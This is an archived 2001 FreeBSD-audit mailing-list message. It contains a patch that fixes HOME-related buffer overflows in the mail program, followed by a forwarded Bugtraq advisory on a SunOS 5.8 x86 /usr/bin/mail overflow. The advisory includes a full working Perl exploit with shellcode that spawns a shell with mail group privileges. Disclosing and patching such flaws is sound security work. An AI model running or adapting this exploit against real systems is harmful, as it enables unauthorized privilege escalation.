Skip site navigation (1)Skip section navigation (2)
Date:      Mon, 4 Jun 2001 18:55:11 -0500
From:      "Jacques A. Vidrine" <n@nectar.com>
To:        freebsd-audit@freebsd.org
Subject:   Fwd: [$HOME buffer overflow in SunOS 5.8 x86]
Message-ID:  <20010604185510.B47924@shade.nectar.com>

next in thread | raw e-mail | index | archive | help
There  are several  other potential  overflows (sprintf,  strcpy), but
here  is  a  patch  for  ones involving  HOME.   I  don't  think  this
represents a security problem, though.

--- cmd1.c.orig	Mon Jun  4 18:47:11 2001
+++ cmd1.c	Mon Jun  4 18:47:22 2001
@@ -440,7 +440,7 @@
 	char dirname[BUFSIZ];
 	char *cmd;
 
-	if (getfold(dirname) < 0) {
+	if (getfold(dirname, sizeof(dirname)) < 0) {
 		printf("No value set for \"folder\"\n");
 		return 1;
 	}
--- fio.c.orig	Mon Jun  4 18:41:27 2001
+++ fio.c	Mon Jun  4 18:51:37 2001
@@ -340,13 +340,18 @@
 			name = "~/mbox";
 		/* fall through */
 	}
-	if (name[0] == '+' && getfold(cmdbuf) >= 0) {
+	if (name[0] == '+' && getfold(cmdbuf, sizeof(cmdbuf)) >= 0) {
 		sprintf(xname, "%s/%s", cmdbuf, name + 1);
 		name = savestr(xname);
 	}
 	/* catch the most common shell meta character */
 	if (name[0] == '~' && (name[1] == '/' || name[1] == '\0')) {
-		sprintf(xname, "%s%s", homedir, name + 1);
+		if (snprintf(xname, sizeof(xname), "%s%s", homedir, name + 1)
+		    >= sizeof(xname)) {
+			fprintf(stderr, "\"%s\": Expansion failed -- "
+					"path too long.\n", name);
+			return NOSTR;
+		}
 		name = savestr(xname);
 	}
 	if (!anyof(name, "~{[*?$`'\"\\"))
@@ -398,18 +403,25 @@
  * Determine the current folder directory name.
  */
 int
-getfold(name)
+getfold(name, bufsize)
 	char *name;
+	size_t bufsize;
 {
 	char *folder;
+	int n;
 
 	if ((folder = value("folder")) == NOSTR)
 		return (-1);
 	if (*folder == '/')
-		strcpy(name, folder);
+		n = strlcpy(name, folder, bufsize);
 	else
-		sprintf(name, "%s/%s", homedir, folder);
-	return (0);
+		n = snprintf(name, bufsize, "%s/%s", homedir, folder);
+	if (n >= bufsize) {
+		fprintf(stderr, "Folder '%s' ignored -- path too long.\n", 
+		    folder);
+		return (-1);
+	} else
+		return (0);
 }
 
 /*
--- lex.c.orig	Mon Jun  4 18:46:48 2001
+++ lex.c	Mon Jun  4 18:46:57 2001
@@ -613,7 +613,7 @@
 			s++;
 	}
 	ename = mailname;
-	if (getfold(fname) >= 0) {
+	if (getfold(fname, sizeof(fname)) >= 0) {
 		strcat(fname, "/");
 		if (strncmp(fname, mailname, strlen(fname)) == 0) {
 			sprintf(zname, "+%s", mailname + strlen(fname));
-- 
Jacques Vidrine / n@nectar.com / jvidrine@verio.net / nectar@FreeBSD.org

----- Forwarded message from Georgi Guninski <guninski@guninski.com> -----
Date: Mon, 04 Jun 2001 18:14:30 +0300
From: Georgi Guninski <guninski@guninski.com>
To: Bugtraq <BUGTRAQ@SECURITYFOCUS.COM>
Subject: $HOME buffer overflow in SunOS 5.8 x86

Georgi Guninski security advisory #46, 2001

$HOME buffer overflow in SunOS 5.8 x86

Systems affected:
SunOS 5.8 x86 have not tested on other OSes

Risk: Medium
Date: 4 June 2001

Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski. 
You may distribute it unmodified. 
You may not modify it and distribute it or distribute parts 
of it without the author's written permission.

Disclaimer:
The information in this advisory is believed to be true based on 
experiments though it may be false.
The opinions expressed in this advisory and program are my own and 
not of any company. The usual standard disclaimer applies, 
especially the fact that Georgi Guninski is not liable for any damages 
caused by direct or  indirect use of the information or functionality 
provided by this advisory or program. Georgi Guninski bears no 
responsibility for content or misuse of this advisory or program or 
any derivatives thereof.


Description:

There is a buffer overflow in SunOS 5.8 x86 with $HOME and /usr/bin/mail
leading to egid=mail.


Details:
HOME=`perl -e 'print "A"x1100'` ; export HOME
mail a
CTL-C

eip gets smashed with 0x41414141.

Exploit:
-------------solmail.pl----------------------
#!/usr/bin/perl
# /usr/bin/mail exploit by Georgi Guninski
use Env qw($HOME);
#shell code taken from Pablo Sor's mailx exploit
$shell = "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06";
$shell .="\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90";
$shell .="\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0";
$shell .="\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33";
$shell .="\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec";
$shell .="\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89";
$shell .="\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50";
$shell .="\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2";
$shell .="\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4";
$shell .="\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78";
$RET = "\xa0\x6f\x04\x08" ; #may need to change this
$OVER=1032;
$ALL=1200;
$buf=$RET x ($OVER/4) . "\x90" x ($ALL - $OVER - length($shell)) . $shell;
system("/bin/ln -s /bin/ksh /tmp/xx");
print "Written by Georgi Guninski, shell code taken from Pablo Sor's mailx exploit.\nPress
CTL-C\n";
$ENV{HOME}=$buf;
exec "/usr/bin/mail","A";
---------------------------------------------

Workaround:
chmod -s /usr/bin/mail

Vendor status:
Sun was informed on 29 May 2001 about /usr/bin/mail and shall release patches.

Regards,
Georgi Guninski
http://www.guninski.com


----- End forwarded message -----

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-audit" in the body of the message




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?20010604185510.B47924>